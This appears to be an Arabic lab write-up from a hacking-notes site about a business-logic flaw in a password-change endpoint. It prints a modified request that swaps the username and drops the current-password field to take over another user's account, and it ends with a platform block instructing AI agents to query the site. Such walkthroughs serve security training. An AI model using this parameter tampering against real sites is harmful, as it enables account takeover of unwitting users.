> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/business-logic/weak-isolation-on-dual-use-endpoint.md).

# عزل ضعيف في نقطة نهاية مزدوجة الاستخدام

### عزل ضعيف على نقطة نهاية مزدوجة الاستخدام

**وصف المختبر**

تستند هذه المختبرية إلى افتراض خاطئ بشأن مستوى امتيازات المستخدم، اعتمادًا فقط على المعاملات المرسلة من العميل. / من خلال استغلال خلل منطقي في وظيفة إدارة الحسابات، من الممكن السيطرة على أي حساب، بما في ذلك حساب المدير.

\*\* الهدف:\*\*/ الوصول إلى حساب المدير وحذف المستخدم **carlos**.

**بيانات الاعتماد المقدَّمة:**

* المستخدم: `wiener`
* كلمة المرور: `peter`

<figure><img src="/files/516503eb599fd6234865951413ce3a1c908ceafe" alt=""><figcaption></figcaption></figure>

**ملاحظة آلية تغيير كلمة المرور**

بمجرد الاتصال بـ `wiener` الحساب، تتيح لك إحدى الميزات تغيير كلمة المرور. / الطلب المرسل إلى الخادم كما يلي:

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
&current-password=peter
&new-password-1=jordan
&new-password-2=jordan
```

يستخدم الخادم `اسم المستخدم` المعامل المقدم من العميل لتحديد الحساب المراد تغييره.

<figure><img src="/files/f91ed3ff55ac2e90b48e61ae24e600798f859bd9" alt=""><figcaption></figcaption></figure>

**استغلال الخلل المنطقي**

من خلال تغيير الاستعلام، يمكن استهداف مستخدم آخر.

<figure><img src="/files/6f85103742d327d7baec2537b4f644be363891c0" alt=""><figcaption></figcaption></figure>

بالإضافة إلى ذلك، فإن `current-password` المعامل لا يتم التحقق منه بشكل صحيح.

طلب المستخدم المعدل **carlos**:

{% code overflow="wrap" %}

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```

{% endcode %}

<figure><img src="/files/6b916483c9a3d6689520db392eaaff4384d678da" alt=""><figcaption></figcaption></figure>

يقبل الخادم الطلب ويغيّر كلمة مرور الحساب **carlos**، دون الحاجة إلى كلمة المرور القديمة.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/business-logic/weak-isolation-on-dual-use-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
